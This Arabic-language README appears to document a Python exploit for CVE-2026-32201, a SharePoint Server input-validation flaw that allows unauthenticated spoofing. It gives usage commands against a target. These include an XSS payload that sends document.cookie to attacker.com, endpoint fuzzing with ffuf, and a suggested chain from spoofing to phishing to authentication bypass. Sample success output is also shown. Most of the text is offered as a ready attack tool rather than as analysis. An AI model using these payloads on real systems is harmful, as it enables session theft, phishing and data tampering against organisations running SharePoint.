نظرة عامة

استغلال بايثون لـ CVE-2026-32201 - التحقق غير السليم من الإدخال في Microsoft SharePoint Server، مما يسمح بانتحال الشبكة دون مصادقة (C:L/I:L).

• المتأثر: SharePoint Server 2016 Enterprise، 2019، Subscription Edition < 16.0.19725.20210؛
• المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N؛
• التأثير: عرض/تغيير البيانات الحساسة عبر إشعارات/مستندات منتحلة.

الميزات

1. بصمة SharePoint.
2. طلب POST مُصمَّم لتجاوز التحقق من الإدخال (sender_override).
3. حمولة قابلة للتخصيص (المرسل، المستلم، الموضوع، الرسالة مع XSS).
4. تحليل الاستجابة للتحقق.

الاستخدام

1. احفظه كـ exploit.py
2. شغّله لإنشاء ملف نموذج خبيث:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

مثال على المخرجات:

[+] تم اكتشاف SharePoint.
[*] إرسال طلب منتحل إلى https://target.com/_layouts/15/notify.aspx
[+] الحالة: 200
[+] نجاح محتمل: تحقق من سجلات/بريد الهدف بحثًا عن محتوى منتحل.

التخصيص

• فحص نقاط النهاية: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• حمولة XSS: أضف JavaScript في --message لسرقة ملفات تعريف الارتباط
• التسلسل: انتحال ← رابط تصيد ← تجاوز المصادقة

التحقق

• مؤشرات النجاح: 200 OK + "sent/success" في الاستجابة
• جانب الخادم: تحقق من سجلات ULS/سجلات IIS بحثًا عن طلبات شاذة
• التأثير: راقب البريد الإلكتروني/المستندات بحثًا عن مرسل مزور، واختبر تعديل البيانات